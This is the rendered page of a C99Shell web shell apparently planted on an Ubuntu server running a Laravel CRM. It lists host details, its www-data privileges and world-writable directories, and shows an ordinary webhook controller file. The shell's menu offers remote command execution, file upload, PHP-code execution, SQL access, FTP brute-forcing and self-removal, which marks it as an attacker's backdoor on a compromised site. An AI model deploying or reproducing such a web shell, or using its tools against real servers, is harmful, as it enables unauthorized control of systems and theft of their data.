!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Settings/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WebhookController.php (2.73 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Settings;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\View\View;
use 
Webkul\Admin\DataGrids\Settings\WebhookDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Admin\Requests\WebhookRequest;
use 
Webkul\Automation\Repositories\WebhookRepository;

class 
WebhookController extends Controller
{
    public function 
__construct(protected WebhookRepository $webhookRepository) {}

    
/**
     * Display the listing of the resource.
     */
    
public function index(): View|JsonResponse
    
{
        if (
request()->ajax()) {
            return 
datagrid(WebhookDataGrid::class)->process();
        }

        return 
view('admin::settings.webhook.index');
    }

    
/**
     * Show the form for creating a new resource.
     */
    
public function create(): View
    
{
        return 
view('admin::settings.webhook.create');
    }

    
/**
     * Store the newly created resource in storage.
     */
    
public function store(WebhookRequest $webhookRequest): RedirectResponse
    
{
        
Event::dispatch('settings.webhook.create.before');

        
$webhook $this->webhookRepository->create($webhookRequest->validated());

        
Event::dispatch('settings.webhook.create.after'$webhook);

        
session()->flash('success'trans('admin::app.settings.webhooks.index.create-success'));

        return 
redirect()->route('admin.settings.webhooks.index');
    }

    
/**
     * Store the newly created resource in storage.
     */
    
public function edit(int $id): View
    
{
        
$webhook $this->webhookRepository->findOrFail($id);

        return 
view('admin::settings.webhook.edit'compact('webhook'));
    }

    
/**
     * Update the specified resource in storage.
     */
    
public function update(WebhookRequest $webhookRequestint $id): RedirectResponse
    
{
        
Event::dispatch('settings.webhook.update.before'$id);

        
$webhook $this->webhookRepository->update($webhookRequest->validated(), $id);

        
Event::dispatch('settings.webhook.update.after'$webhook);

        
session()->flash('success'trans('admin::app.settings.webhooks.index.update-success'));

        return 
redirect()->route('admin.settings.webhooks.index');
    }

    
/**
     * Remove the specified resource from storage.
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$webhook $this->webhookRepository->findOrFail($id);

        
Event::dispatch('settings.webhook.delete.before'$id);

        
$webhook?->delete();

        
Event::dispatch('settings.webhook.delete.after'$id);

        return 
response()->json([
            
'message' => trans('admin::app.settings.webhooks.index.delete-success'),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0122 ]--